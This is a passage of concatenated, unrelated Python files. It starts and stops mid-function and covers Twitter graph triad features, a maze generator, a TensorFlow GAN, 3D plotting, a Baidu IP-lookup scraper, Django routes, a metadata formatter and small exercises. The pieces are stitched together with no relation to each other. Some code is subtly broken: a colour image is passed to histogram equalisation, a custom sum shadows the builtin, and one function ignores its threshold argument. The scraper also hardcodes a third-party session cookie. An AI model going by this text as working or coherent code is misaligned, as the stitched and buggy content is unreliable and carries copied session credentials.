if eList[(u,v)][i] == 1:
e1 = True
else:
e1 = False
except:
e1 = False
try:
if eList[(v,t)][i] == 1:
e2 = True
else:
e2 = False
except:
e2 = False
try:
if eList[(v,u)][i] == 1:
e1op = True
else:
e1op = False
except:
e1op = False
try:
if eList[(t,v)][i] == 1:
e2op = True
else:
e2op = False
except:
e2op = False
#triad 0
if (not e1) and e1op and e2 and (not e2op):
return 0
#triad 1
if (not e1op) and e1 and e2op and (not e2):
return 1
#triad 2
if (not e1op) and e1 and e2 and (not e2op):
return 2
#triad 3
if (not e1) and e1op and e2op and (not e2):
return 3
#triad 4
if (not e1op) and e1 and e2 and e2op:
return 4
#triad 5
if e1 and e1op and (not e2) and e2op:
return 5
#triad 6
if (not e1) and e1op and e2 and e2op:
return 6
#triad 7
if e1 and e1op and e2 and (not e2op):
return 7
#triad 8
if e1 and e1op and e2 and e2op:
return 8
return -1
def get_composite_triad(u, v, t, eList, i, j):
i_uv = j_uv = i_vt = j_vt = False
if (u,v) in eList:
if eList[(u,v)][i] == 1:
i_uv = True
if eList[(u,v)][j] == 1:
j_uv = True
if not i_uv or not j_uv:
if (v,u) in eList:
if not i_uv:
if eList[(v,u)][i] == 1:
i_uv = True
if not j_uv:
if eList[(v,u)][j] == 1:
j_uv = True
if (v,t) in eList:
if eList[(v,t)][i] == 1:
i_vt = True
if eList[(v,t)][j] == 1:
j_vt = True
if not i_vt or not j_vt:
if (t,v) in eList:
if not i_vt:
if eList[(t,v)][i] == 1:
i_vt = True
if not j_vt:
if eList[(t,v)][j] == 1:
j_vt = True
#triad 0
if i_uv and j_uv and i_vt and j_vt:
return 0
#triad 1
if i_uv and j_uv and i_vt and not j_vt:
return 1
#triad 2
if i_uv and j_uv and not i_vt and j_vt:
return 2
#triad 3
if i_uv and not j_uv and i_vt and j_vt:
return 3
#triad 4
if not i_uv and j_uv and i_vt and j_vt:
return 4
#triad 5
if i_uv and not j_uv and i_vt and not j_vt:
return 5
#triad 6
if i_uv and not j_uv and not i_vt and j_vt:
return 6
#triad 7
if not i_uv and j_uv and i_vt and not j_vt:
return 7
#triad 8
if not i_uv and j_uv and not i_vt and j_vt:
return 8
return -1
def triad_features( eList ):
import itertools
from scipy.special import comb
triads = {}
composite_triads = {}
edge_emb = {}
init_val = [0 for _ in range(9*input_graphs)]
init_comp = [0 for _ in range(9*int(comb(input_graphs,2, exact=True)))]
init_emb = [0 for _ in range(input_graphs+1)]
for e in eList:
triads[e] = init_val[:]
composite_triads[e] = init_comp[:]
edge_emb[e] = init_emb[:]
print "Start processing triangles"
prog_check = 1000000
l = 0
if color_sampling == True :
nfiles = 3
else:
nfiles = 1
for i in range(1,nfiles+1):
print "Reading file #{}".format(i)
if nfiles > 1:
filename = 'twitter'+str(i)+'_hd.triangles'
else:
filename = 'twitter_hd.triangles'
with open(filename, 'r') as f:
for line in f:
triangle = [int(x) for x in line.split()]
for item in itertools.permutations(triangle, 2):
u, t = item[0], item[1]
if (u,t) in eList:
edge_emb[(u,t)][input_graphs] += 1
v = list(set(item).symmetric_difference(set(triangle)))[0]
combs = list(itertools.combinations(range(input_graphs), 2))
for c in range(len(combs)):
i, j = combs[c]
composite_triad = get_composite_triad( u, v, t, eList, i, j )
if composite_triad != -1:
composite_triads[(u,t)][c*9+composite_triad] += 1
for i in range(0,input_graphs): # optimize here - do it in parallel!
#if eList[(u,v)][i] == 1:
triad_type = get_triad_type(u, v, t, eList, i)
if triad_type != -1:
edge_emb[(u,t)][i] += 1
triads[(u,t)][i*9+triad_type] += 1 # DO IT WITH NUMPY
l += 1
if l % prog_check == 0:
print "Done processing {} triangles".format(l)
with open('composite_triads_hd.pickle', 'wb') as f2:
pickle.dump(composite_triads, f2, protocol=pickle.HIGHEST_PROTOCOL)
with open('triad_features_hd.pickle', 'wb') as f1:
pickle.dump(triads, f1, protocol=pickle.HIGHEST_PROTOCOL)
with open('edge_embeddedness.pickle', 'wb') as f3:
pickle.dump(edge_emb, f3, protocol=pickle.HIGHEST_PROTOCOL)
return
def main():
from subprocess import Popen
print "Working for time period: {} - {}".format(start_date, end_date)
eList, eList_undirected = read_graph( )
create_mace_graph( eList_undirected )
cmd = "mace/mace C -l 3 twitter_hd.mace twitter_hd.triangles"
p = Popen(cmd, shell=True)
p.wait()
degree_features( eList )
triad_features( eList )
if __name__ == '__main__':
main()
|
from random import shuffle, randrange
import random
def geraMapa(w=16, h=8):
vis = [[0] * w + [1] for _ in range(h)] + [[1] * (w + 1)]
ver = [["10"] * w + ['1'] for _ in range(h)] + [[]]
hor = [["11"] * w + ['1'] for _ in range(h + 1)]
def walk(x, y):
vis[y][x] = 1
d = [(x - 1, y), (x, y + 1), (x + 1, y), (x, y - 1)]
shuffle(d)
for (xx, yy) in d:
if vis[yy][xx]:
continue
if xx == x:
hor[max(y, yy)][x] = "10"
if yy == y:
ver[y][max(x, xx)] = "00"
walk(xx, yy)
walk(randrange(w), randrange(h))
s = ""
for (a, b) in zip(hor, ver):
s += ''.join(a + ['\n'] + b + ['\n'])
return s
def carregaMap(arq):
mapa = list()
arquivo = open(arq, 'r')
for i in arquivo.readlines():
linha = list()
caracteres = i.split('\n')
for j in caracteres[0]:
linha.append(j)
mapa.append(linha.copy())
linha.clear()
arquivo.close()
return (mapa)
def carregaMapCheater(arq):
mapa = list()
arquivo = open(arq, 'r')
lines = arquivo.readlines()
lines = lines[:-2]
for i in lines:
linha = list()
caracteres = i.split('\n')
for j in caracteres[0]:
if(j != '1'):
linha.append(0)
else:
linha.append(1)
mapa.append(linha.copy())
linha.clear()
arquivo.close()
return (mapa)
def gera():
arq = open("mapa.txt", "w+")
mapa = geraMapa(18,13)
i = j = baus = 0
for char in mapa:
j += 1
if(char == "\n"):
i += 1
j = 0
if(i == 1 and j == 2):
char = "E"
if(i == 25 and j == 36):
char = "S"
if(char == "0"):
if(random.randint(0, 50) == 0 and baus <= 8):
baus += 1
char = "B"
arq.write(char)
arq.close()
if __name__ == '__main__':
arq = open("mapa.txt", "w+")
mapa = geraMapa(18,13)
i = j = baus = 0
for char in mapa:
j += 1
if(char == "\n"):
i += 1
j = 0
if(i == 1 and j == 2):
char = "E"
if(i == 25 and j == 36):
char = "S"
if(char == "0"):
if(random.randint(0, 100) == 0 and baus <= 2):
baus += 1
char = "B"
arq.write(char)
arq.close()
|
import pickle as pkl
import numpy as np
import tensorflow as tf
import matplotlib.pyplot as plt
import argparse
import os
import utils
from tensorflow.examples.tutorials.mnist import input_data
mnist = input_data.read_data_sets( 'MNIST_data' )
'''--------Load the config file--------'''
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument( '-c', '--config', default = 'config.yml', help = 'The path to the config file' )
return parser.parse_args()
args = parse_args()
FLAGS = utils.read_config_file( args.config )
if not( os.path.exists( FLAGS.generate_file ) ):
os.makedirs( FLAGS.generate_file )
'''--------Preprocessing data--------'''
if( FLAGS.select_label != 'All' ):
datas = utils.select_data( mnist, FLAGS.select_label )
else:
datas = mnist.train.images # shape ( 55000, 784 )
batches = utils.batch_data( datas, FLAGS.batch_size )
'''-----------Hyperparameters------------'''
# Size of input image to discriminator
input_size = 784
# Size of latent vector to genorator
z_size = 100
# Size of hidden layers in genorator and discriminator
g_hidden_size = FLAGS.g_hidden_size
d_hidden_size = FLAGS.d_hidden_size
# Leak factor for leaky ReLU
alpha = FLAGS.alpha
# Smoothing
smooth = 0.1
'''------------Build network-------------'''
tf.reset_default_graph()
# Creat out input placeholders
input_real, input_z = utils.model_inputs( input_size, z_size )
# Build the model
g_model = utils.generator( input_z, input_size, n_units = g_hidden_size, alpha = alpha )
# g_model is the generator output
d_model_real, d_logits_real = utils.discriminator( input_real, n_units = d_hidden_size, alpha = alpha )
d_model_fake, d_logits_fake = utils.discriminator( g_model, reuse = True, n_units = d_hidden_size, alpha = alpha )
'''---Discriminator and Generator Losses---'''
# Calculate losses
d_loss_real = tf.reduce_mean( tf.nn.sigmoid_cross_entropy_with_logits( logits = d_logits_real,
labels = tf.ones_like( d_logits_real ) * ( 1 - smooth ), name = 'd_loss_real' ) )
d_loss_fake = tf.reduce_mean( tf.nn.sigmoid_cross_entropy_with_logits( logits = d_logits_fake,
labels = tf.zeros_like( d_logits_fake ), name = 'd_loss_fake' ) )
d_loss = d_loss_real + d_loss_fake
# add d_loss to summary scalar
tf.summary.scalar('d_loss', d_loss)
g_loss = tf.reduce_mean( tf.nn.sigmoid_cross_entropy_with_logits( logits = d_logits_fake,
labels = tf.ones_like( d_logits_fake ), name = 'g_loss' ) )
# add g_loss to summary scalar
tf.summary.scalar('g_loss', g_loss)
'''---------------Optimizers----------------'''
# Optimizers
learning_rate = FLAGS.learning_rate
# Get the trainable_variables, split into G and D parts
t_vars = tf.trainable_variables()
g_vars = [var for var in t_vars if var.name.startswith( 'generator' )]
d_vars = [var for var in t_vars if var.name.startswith( 'discriminator' )]
d_train_opt = tf.train.AdamOptimizer( learning_rate ).minimize( d_loss, var_list = d_vars )
g_train_opt = tf.train.AdamOptimizer( learning_rate ).minimize( g_loss, var_list = g_vars )
'''-----------------Traing---------------------'''
batch_size = FLAGS.batch_size
epoches = FLAGS.epoches
samples = []
# losses = []
# Only save generator variables
saver = tf.train.Saver( var_list = g_vars )
with tf.Session() as sess:
# Tensorboard Print Loss
merged, writer = utils.print_training_loss(sess)
sess.run( tf.global_variables_initializer() )
for e in range( epoches ):
for batch in batches:
# batch = mnist.train.next_batch( batch_size )
# Get images, reshape and rescale to pass to D
batch_images = batch
batch_images = batch_images * 2 - 1
# Sample random noise for G
batch_z = np.random.uniform( -1, 1, size = ( batch_size, z_size ) )
# Run optimizers
_ = sess.run( d_train_opt, feed_dict = {input_real : batch_images, input_z : batch_z} )
_ = sess.run( g_train_opt, feed_dict = {input_z : batch_z} )
# At the end of each epoch, get the losses and print them out
train_loss_d = sess.run( d_loss, {input_z : batch_z, input_real : batch_images} )
train_loss_g = g_loss.eval( {input_z : batch_z} )
print( 'Epoch {}/{}...' . format( e + 1, epoches ),
'Discriminator Loss: {:.4f}...' . format( train_loss_d ),
'Generator Loss: {:.4f}' . format( train_loss_g ) )
# Save losses to view after training
# losses.append( ( train_loss_d, train_loss_g ) )
# Add data to tensorboard
rs = sess.run(merged, feed_dict={input_z: batch_z, input_real: batch_images})
writer.add_summary(rs, e)
# Sample from generator as we're training for viewing afterwards
sample_z = np.random.uniform( -1, 1, size = ( 16, z_size ) )
gen_samples = sess.run(
utils.generator( input_z, input_size, n_units = g_hidden_size, reuse = True, alpha = alpha),
feed_dict = {input_z : sample_z} )
gen_image = gen_samples.reshape( ( -1, 28, 28, 1 ) )
gen_image = tf.cast( np.multiply( gen_image, 255 ), tf.uint8 )
for r in range( gen_image.shape[0] ):
with open( FLAGS.generate_file + str(e) + ' ' + str( r ) + '.jpg', 'wb' ) as img:
img.write( sess.run( tf.image.encode_jpeg( gen_image[r] ) ) )
samples.append( gen_samples )
saver.save( sess, './checkpoint/generator.ckpt' ) |
from random import shuffle
import sys
def re_arrange (words):
shuffle(words)
return words
if __name__ == '__main__':
random = []
i = 1
while i < len(sys.argv):
random.append(sys.argv[i])
i += 1
words = re_arrange(random)
for i in words:
print(i)
print(random)
|
import numpy as np
from mayavi import mlab
def test_surf():
"""Test surf on regularly spaced co-ordinates like MayaVi."""
def f(x, y):
sin, cos = np.sin, np.cos
return sin(x + y) + sin(2 * x - y) + cos(3 * x + 4 * y)
x, y = np.mgrid[-7.:7.05:0.1, -5.:5.05:0.05]
s = mlab.surf(x, y, f)
#cs = contour_surf(x, y, f, contour_z=0)
return s
class Sphere():
def __init__(self,x = 0, y = 0, z = 0, d = 10,c = (0,0,0), above_surface = True):
d = d / 2
if above_surface:
shift = d
else:
shift = 0
self.u = np.linspace(0, 2 * np.pi, 100)
self.v = np.linspace(0, np.pi, 100)
self.x = d * np.outer(np.cos(self.u), np.sin(self.v)) + x
self.y = d * np.outer(np.sin(self.u), np.sin(self.v)) + y
self.z = d * np.outer(np.ones(np.size(self.u)), np.cos(self.v)) + z + shift
self.c = c
def plot(self):
mlab.mesh(self.x,self.y,self.z,color = self.c)
class RectangularPrism():
def __init__(self,x = 0, y = 0, z= 0, w = 4, l = 4, h = 4,c = (0,0,0), above_surface = True):
self.w = w /2
self.l = l / 2
self.h = h / 2
if above_surface:
shift = self.h
else:
shift = 0
r = [-1,1]
self.X, self.Y = np.meshgrid(r, r)
self.x = x
self.z = z + shift
self.y = y
self.ones = np.ones((2,2))
theta = np.pi / 3
x = self.X
y = self.Y
#self.X = x * np.round(np.cos(theta),4) - y * np.round(np.sin(theta),4)
#self.Y = y * np.round(np.cos(theta),4) - x * np.round(np.sin(theta),4)
self.c = c
def plot(self, c = (0,0,0)):
def mesh(x,y,z,color):
theta = np.pi /2
theta = 0
theta = np.pi
# x = X * np.round(np.cos(theta),4) - Y * np.round(np.sin(theta),4)
#y = Y * np.round(np.cos(theta),4) - X * np.round(np.sin(theta),4)
mlab.mesh(x,y,z,color = color)
mesh(self.X * self.w + self.x, self.Y * self.l + self.y, self.ones * self.h + self.z , color = self.c)
mesh(self.X * self.w + self.x, self.Y * self.l + self.y,self.ones * -self.h + self.z,color = self.c)
mesh(self.X * self.w + self.x, -self.l * self.ones + self.y,self.Y * self.h + self.z,color = self.c)
mesh(self.X * self.w + self.x, self.ones*self.l + self.y,self.Y * self.h + self.z,color = self.c)
mesh(self.ones * self.w + self.x,self.X * self.l + self.y,self.Y * self.h + self.z,color = self.c)
mesh(-self.w * self.ones + self.x ,self.X * self.l + self.y,self.Y*self.h + self.z,color = self.c)
mlab.figure(size=(400, 300), bgcolor = (1,1,1))
#floor_3_3 = RectangularPrism(0,0,-1,w=23.5*3,l=23.5*3,h=2,c=(.39,.39,.39), above_surface = False)
d = 14.5 / np.sqrt(2)
m1 = RectangularPrism(-d,d,0,w=2,l=2,h=2,c = (1,1,0))
#m2 = Sphere(0,0,0,d = 2.75,c = (1,1,1))
m3 = Sphere(d,-d,0,d = 2.75,c = (1,1,1))
#floor_3_3.plot()
m1.plot()
#m2.plot()
m3.plot()
|
import sys
import urllib.request
import json
'''
python3 调用百度IP归属地查询接口显示中文结果
'''
# url = "https://sp0.baidu.com/8aQDcjqpAAV3otqbppnN2DJv/api.php?query=118.190.33.130&resource_id=6006&t=1511175501478&ie=utf8&oe=gbk&cb=op_aladdin_callback&format=json&tn=baidu&cb=jQuery1102017679529467173427_1511175237779&_=1511175237794"
def get_ip_location(ip):
url = 'https://sp0.baidu.com/8aQDcjqpAAV3otqbppnN2DJv/api.php?query=%s&resource_id=6006&t=1511175501478&ie=utf8&oe=gbk&cb=op_aladdin_callback&format=json&tn=baidu&cb=jQuery1102017679529467173427_1511175237779&_=1511175237794' % ip
headers = {
'User-Agent': r'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0',
'Referer': r'https://www.baidu.com/s?ie=utf-8&f=3&rsv_bp=0&rsv_idx=1&tn=monline_3_dg&wd=ip%E5%BD%92%E5%B1%9E%E5%9C%B0%E6%9F%A5%E8%AF%A2&rsv_pq=e10001cd00005b21&rsv_t=63cethNIR70qxJst2vrJZanOv5I2Xjq6nyFZnmQAfqo5aDnKwgbjSy0M3GNN07cNUXj7&rqlang=cn&rsv_enter=1&rsv_sug3=8&rsv_sug1=8&rsv_sug7=100&rsv_sug2=0&prefixsug=ipguishu&rsp=0&inputT=2637&rsv_sug4=2638',
'Cookie': r'BAEID=7F2B0FC1585E2FE692DEE86E0195E2CD; BAIDUID=9CD8F78B214C5637921A427D37B7C314:FG=1; BIDUPSID=F9BCC32D14B548CB33A32CE3D385FF46; PSTM=1499406827; MCITY=-158%3A; __cfduid=d20822907badd05b722f0cc947831a0e01508829693; H_PS_PSSID=1430_21082; BDORZ=FFFB88E999055A3F8A630C64834BD6D0; PSINO=2; BDRCVFR[gltLrB7qNCt]=mk3SLVN4HKm; BDRCVFR[Fc9oatPmwxn]=G01CoNuskzfuh-zuyuEXAPCpy49QhP8',
'Connection': 'keep-alive',
'Pragma': 'no - cache',
'Cache - Control': 'no - cache'
}
req = urllib.request.Request(url,headers=headers)
resp = urllib.request.urlopen(req)
content = resp.read()
return content
if __name__ == '__main__':
content = get_ip_location('180.150.177.238').decode('gbk')
content_json = content.split('[')[1].split(']')[0]
content_dict = json.loads(content_json)
print('%(origip)s的归属地为: %(location)s' %content_dict)
|
from gramps.version import major_version
register(GRAMPLET,
id="Multimergegramplet Gramplet",
name=_("Multimerge Gramplet"),
description = _("Multimerge Gramplet"),
status=STABLE,
fname="multimergegramplet.py",
authors = ['Kari Kujansuu', 'Nick Hall'],
authors_email = ['kari.kujansuu@gmail.com', 'nick-h@gramps-project.org'],
height=230,
expand=True,
gramplet = 'MultiMergeGramplet',
gramplet_title=_("MultiMergeGramplet"),
detached_width = 510,
detached_height = 480,
version = '1.1.7',
gramps_target_version = major_version,
help_url="http://github.com/Taapeli/isotammi-addons/tree/master/source/multimergegramplet/README.md",
navtypes=["Person","Family","Place","Source","Repository","Note","Event",
"Citation","Media"],
) |
def mergeSort(arr):
if len(arr) > 1:
for i in range(3):
print()
mid = len(arr) // 2 # split
L = arr[:mid]
R = arr[mid:]
print("L : {0}".format(L))
print("R : {0}".format(R))
print("arr : {0}".format(arr))
print("MERGE SORT L. // R: {0} | L :{1} // arr : {2}".format(R, L, arr))
print("MERGE SORT R. // R: {0} | L :{1} // arr : {2}".format(R, L, arr))
mergeSort(L)
mergeSort(R)
i = j = k = 0
# L = [5, 4]
# R = [3, 2, 1]
# arr = [5, 4, 3, 2, 1]
while i < len(L) and j < len(R):
if L[i] < R[j]:
arr[k] = L[i] # Replace values
i += 1 # Increment index for the L left side array
k += 1
else:
arr[k] = R[j]
j += 1
k += 1
# *< Left over values >* #
for i in range(3):
print()
while True:
try:
RANGE_STOP = eval(input("RANGE STOP > "))
n = list(range(1, RANGE_STOP+1, 1))[::-1]
mergeSort(n)
break
except Exception as _error_:
pass
for i in range(10):
print()
print("Array after merge sort : {0}".format(n))
|
import pickle
import json
from del_files import delete_files
my_favorite_group_from_picle = {}
my_favorite_group_from_json = {}
with open('group.pickle','rb') as file:
my_favorite_group_from_picle = pickle.load(file)
print('from pickle\n',my_favorite_group_from_picle)
with open('group.json','r',encoding='utf-8') as file:
my_favorite_group_from_json = json.load(file)
print('from json\n',my_favorite_group_from_json)
# удаление созданных файлов, чтобы они не попали в git
delete_files() |
import cv2
import numpy as np
img = cv2.imread('cr7.jpg')
equ = cv2.equalizeHist(img)
res = np.hstack((img,equ)) #stacking images side-by-side
cv2.imwrite('res.jpg',res)
|
#!/usr/bin/python
#coding:utf-8
import thread
import time
# Define a function for the thread
def print_time(threadName, delay):
count = 0
while count < 5:
count += 1
print "%s: %s" % (threadName, time.ctime(time.time()))
def check_sum(threadName, valueA, valueB):
print "to calculate the sum of two number her"
result = sum(valueA, valueB)
print "the result is", result
def sum(valueA, valueB):
if valueA > 0 and valueB > 0:
return valueA + valueB
def readFile(threadName, filename):
file = open(filename)
for line in file.readlines():
print line
try:
thread.start_new_thread(print_time, ("Thread-1", 2,))
thread.start_new_thread(check_sum, ("Thread-2", 4, 5,))
thread.start_new_thread(readFile, ("Thread-3", "test.txt",))
except:
print "Error: unable to start thread"
while 1:
# print "end"
pass
|
def wiecej_niz(napis, wiecej):
ilosci = {}
wynik = set()
for l in napis:
ilosci[l] = ilosci.get(l, 0) + 1
for k, v in ilosci.items():
if v > 3:
wynik.add(k)
return wynik
def test_wiecej_niz_string1():
assert wiecej_niz('ala ma kota a kot ma ale', 3) == {'a', ' '}
assert wiecej_niz('ala mmmma kota a kot ma ale', 3) == {'a', ' ', 'm'}
assert wiecej_niz('ala mmmma kotttta a kot ma ale', 3) == {'a', ' ', 'm', 't'} |
#!/usr/bin/env python
"""
Oracle implementation of AddFile
"""
#This has been modified for Oracle
from WMComponent.DBS3Buffer.MySQL.DBSBufferFiles.Add import Add as MySQLAdd
class Add(MySQLAdd):
"""
Oracle implementation of AddFile
"""
#sql = """insert into dbsbuffer_file(lfn, filesize, events, cksum, dataset, status)
# values (:lfn, :filesize, :events, :cksum, (select ID from dbsbuffer_dataset where Path=:dataset), :status)"""
|
import asyncio
async def do_some_work(x):
print("Waiting " + str(x))
await asyncio.sleep(x)
#定义一个回调函数
def done_callback(futu):
print('Done')
loop = asyncio.get_event_loop()
futu = asyncio.ensure_future(do_some_work(3))
futu.add_done_callback(done_callback)
loop.run_until_complete(futu)
# print(asyncio.iscoroutinefunction(do_some_work)) #判断do_some_work是否为一个协程函数
# print(asyncio.iscoroutine(do_some_work(3))) #判断是否返回一个协程对象 |
from helper import *
import glob
IMG_DIR = '/path/to/img'
MODEL_PATH = 'classify_image_graph_def.pb'
IMG_NUM = 1408
QUERY_IMG = 22
CANDIDATES = 5
with tf.gfile.FastGFile(MODEL_PATH, 'rb') as f:
graph_def = tf.GraphDef()
graph_def.ParseFromString(f.read())
_ = tf.import_graph_def(graph_def, name='')
with tf.Session() as sess:
pool3 = sess.graph.get_tensor_by_name('pool_3:0')
features = []
files = glob.glob(
"/Users/nakamura/git/keras-yolo3/VOCdevkit/VOC2007/JPEGImages/*.jpg")
for i in range(len(files)):
print(i)
# image_data = tf.gfile.FastGFile('%s/img_%04d.jpg' % (IMG_DIR, i), 'rb').read()
image_data = tf.gfile.FastGFile(files[i], 'rb').read()
pool3_features = sess.run(pool3,{'DecodeJpeg/contents:0': image_data})
features.append(np.squeeze(pool3_features))
query_feat = features[QUERY_IMG]
sims = [(k, round(1 - spatial.distance.cosine(query_feat, v), 3)) for k,v in enumerate(features)]
print(sorted(sims, key=operator.itemgetter(1), reverse=True)[:CANDIDATES + 1])
|
def do():
some_string = input('введите строку из нескольких слов: ')
str_list = some_string.split()
for word in str_list:
print(word[:10])
if __name__ == '__main__':
do()
|
#MAE.py
#encoding:utf8
import math
def MAE(records):
return sum([abs(rui-pui) for u,i,rui,pui in records])/float(len(records)) |
import os
import persistance
from persistance import repo
def fill_tables():
f = open("config.txt", "r")
for line in f:
if line[-1] == "\n":
line = line[:-1]
splited = line.split(',')
if splited[0] == "C":
coffee_stand = persistance.Coffee_stand(splited[1], splited[2][1:], splited[3])
repo.coffee_stands.insert(coffee_stand)
elif splited[0] == "S":
supplier = persistance.Supplier(splited[1], splited[2][1:], splited[3][1:])
repo.suppliers.insert(supplier)
elif splited[0] == "E":
employee = persistance.Employee(splited[1], splited[2][1:], splited[3], splited[4])
repo.employees.insert(employee)
elif splited[0] == "P":
product = persistance.Product(splited[1], splited[2][1:], splited[3], 0)
repo.products.insert(product)
if os.path.isfile('moncafe.db'):
os.remove('moncafe.db')
repo.create_repo()
repo.create_tables()
fill_tables()
|
from django.conf.urls import url, include
from . import views
urlpatterns = [
url(r'^users$', views.index, name='my_index'),
url(r'^users/new$', views.new, name='my_new'),
url(r'^users/(?P<user_id>\d+)/edit$', views.edit, name='my_edit'),
url(r'^users/(?P<user_id>\d+)$', views.show, name='my_show'),
url(r'^users/create$', views.create, name='my_create'),
url(r'^users/(?P<user_id>\d+)/destroy$', views.destroy, name='my_delete'),
url(r'^users/(?P<user_id>\d+)/update$', views.update, name='my_update'),
]
|
import json
import re
from django.conf import settings
from share.util.graph import MutableGraph
from share.util.names import get_related_agent_name
from share.util import IDObfuscator
from .base import MetadataFormatter
def format_type(type_name):
# convert from PascalCase to lower case with spaces between words
return re.sub(r'\B([A-Z])', r' \1', type_name).lower()
def format_node_type(node):
return format_type(node.schema_type.name)
def format_node_type_lineage(node):
return [format_type(t) for t in node.schema_type.type_lineage]
# values that, for the purpose of indexing in elasticsearch, are equivalent to absence
EMPTY_VALUES = (None, '')
def strip_empty_values(thing):
if isinstance(thing, dict):
return {
k: strip_empty_values(v)
for k, v in thing.items()
if v not in EMPTY_VALUES
}
if isinstance(thing, list):
return [
strip_empty_values(v)
for v in thing
if v not in EMPTY_VALUES
]
if isinstance(thing, tuple):
return tuple(
strip_empty_values(v)
for v in thing
if v not in EMPTY_VALUES
)
return thing
class ShareV2ElasticFormatter(MetadataFormatter):
def format_as_deleted(self, suid):
# a document with is_deleted:True will be deleted from the elastic index
# TODO handle deletion better -- maybe put a `deleted` field on suids and actually delete the FormattedMetadataRecord
return json.dumps({
'id': IDObfuscator.encode(suid),
'is_deleted': True,
})
def format(self, normalized_datum):
mgraph = MutableGraph.from_jsonld(normalized_datum.data)
central_work = mgraph.get_central_node(guess=True)
if not central_work or central_work.concrete_type != 'abstractcreativework':
return None
suid = normalized_datum.raw.suid
if central_work['is_deleted']:
return self.format_as_deleted(suid)
source_name = suid.source_config.source.long_title
return json.dumps(strip_empty_values({
'id': IDObfuscator.encode(suid),
'sources': [source_name],
'source_config': suid.source_config.label,
'source_unique_id': suid.identifier,
'type': format_node_type(central_work),
'types': format_node_type_lineage(central_work),
# attributes:
'date_created': suid.get_date_first_seen().isoformat(),
'date_modified': normalized_datum.created_at.isoformat(),
'date_published': central_work['date_published'],
'date_updated': central_work['date_updated'],
'description': central_work['description'] or '',
'justification': central_work['justification'],
'language': central_work['language'],
'registration_type': central_work['registration_type'],
'retracted': bool(central_work['withdrawn']),
'title': central_work['title'],
'withdrawn': central_work['withdrawn'],
'date': (
central_work['date_published']
or central_work['date_updated']
or normalized_datum.created_at.isoformat()
),
# agent relations:
'affiliations': self._get_related_agent_names(central_work, ['agentworkrelation']),
'contributors': self._get_related_agent_names(central_work, [
'contributor',
'creator',
'principalinvestigator',
'principalinvestigatorcontact',
]),
'funders': self._get_related_agent_names(central_work, ['funder']),
'publishers': self._get_related_agent_names(central_work, ['publisher']),
'hosts': self._get_related_agent_names(central_work, ['host']),
# other relations:
'identifiers': [
identifier_node['uri']
for identifier_node in central_work['identifiers']
],
'tags': [
tag_node['name']
for tag_node in central_work['tags']
],
'subjects': self._get_subjects(central_work, source_name),
'subject_synonyms': self._get_subject_synonyms(central_work),
# osf-specific extra
'osf_related_resource_types': (central_work['extra'] or {}).get('osf_related_resource_types'),
# a bunch of nested data because reasons -- used mostly for rendering search results
'lists': {
'affiliations': self._build_related_agent_list(central_work, ['agentworkrelation']),
'contributors': self._build_related_agent_list(central_work, [
'contributor',
'creator',
'principalinvestigator',
'principalinvestigatorcontact',
]),
'funders': self._build_related_agent_list(central_work, ['funder']),
'publishers': self._build_related_agent_list(central_work, ['publisher']),
'hosts': self._build_related_agent_list(central_work, ['host']),
'lineage': self._build_work_lineage(central_work),
},
}))
def _get_related_agent_names(self, work_node, relation_types):
return [
get_related_agent_name(relation_node)
for relation_node in work_node['agent_relations']
if relation_node.type in relation_types
]
def _get_subjects(self, work_node, source_name):
return [
self._serialize_subject(through_subject['subject'], source_name)
for through_subject in work_node['subject_relations']
if (
not through_subject['is_deleted']
and not through_subject['subject']['is_deleted']
)
]
def _get_subject_synonyms(self, work_node):
return [
self._serialize_subject(through_subject['subject']['central_synonym'])
for through_subject in work_node['subject_relations']
if (
not through_subject['is_deleted']
and not through_subject['subject']['is_deleted']
and through_subject['subject']['central_synonym']
)
]
def _serialize_subject(self, subject_node, source_name=None):
subject_lineage = [subject_node['name']]
next_subject = subject_node['parent']
while next_subject:
subject_lineage.insert(0, next_subject['name'])
next_subject = next_subject['parent']
if source_name and subject_node['central_synonym']:
taxonomy_name = source_name
else:
taxonomy_name = settings.SUBJECTS_CENTRAL_TAXONOMY
subject_lineage.insert(0, taxonomy_name)
return '|'.join(subject_lineage)
def _build_list_agent(self, relation_node):
agent_node = relation_node['agent']
return {
'type': format_node_type(agent_node),
'types': format_node_type_lineage(agent_node),
'name': agent_node['name'] or get_related_agent_name(relation_node),
'given_name': agent_node['given_name'],
'family_name': agent_node['family_name'],
'additional_name': agent_node['additional_name'],
'suffix': agent_node['suffix'],
'identifiers': [
identifier_node['uri']
for identifier_node in agent_node['identifiers']
],
'relation': format_node_type(relation_node),
'order_cited': relation_node['order_cited'],
'cited_as': relation_node['cited_as'],
}
def _build_related_agent_list(self, work_node, relation_types):
return [
self._build_list_agent(relation_node)
for relation_node in work_node['agent_relations']
if relation_node.type in relation_types
]
def _build_work_lineage(self, work_node):
try:
parent_work = next(
relation_node['related']
for relation_node in work_node['outgoing_creative_work_relations']
if relation_node.type == 'ispartof'
)
except StopIteration:
return ()
parent_lineage = self._build_work_lineage(parent_work)
parent_data = {
'type': format_node_type(parent_work),
'types': format_node_type_lineage(parent_work),
'title': parent_work['title'],
'identifiers': [
identifier_node['uri']
for identifier_node in parent_work['identifiers']
],
}
return (
*parent_lineage,
parent_data,
)
|
import json
from typing import List, Optional, Iterable, Dict, Tuple
import numpy as np
from matplotlib import pyplot as plt
import matplotlib.colors as mc
import colorsys
from ucca4bpm.util.history import Run, History, Epoch
from ucca4bpm.util.metrics import span_matcher, get_metrics
def plot_f1_metrics(run_histories: List[Run],
experiment_name: str,
metric_names: Dict[str, str],
target_file_paths: Optional[List[str]] = None,
axis: plt.Axes = None,
y_lims: Tuple[float, float] = None,
mode='box',
add_legend=True,
color=None):
standalone_mode = axis is None
if color is None:
# by default we use bright orange from map 'tab20c'
color = plt.get_cmap('tab20c')(4)
runs_data = []
for run_history in run_histories:
metrics_data = []
for metric_name in metric_names.keys():
metric_data = []
for fold_history in run_history.fold_histories:
# add the metric for the last epoch
metric_data.append(fold_history.epochs[-1].metrics[metric_name])
metric_data = np.array(metric_data)
if mode == 'bar':
metric_data = np.mean(metric_data)
metrics_data.append(metric_data)
runs_data.append(metrics_data)
with plt.style.context('seaborn'):
if axis is None:
fig: plt.Figure = plt.figure()
fig.suptitle(experiment_name, fontsize=24)
axis = fig.add_subplot(111)
else:
axis.set_title(experiment_name, fontsize=22)
axis.set_ylabel('Metric Value', fontsize=22)
if y_lims is not None:
print('limits', y_lims)
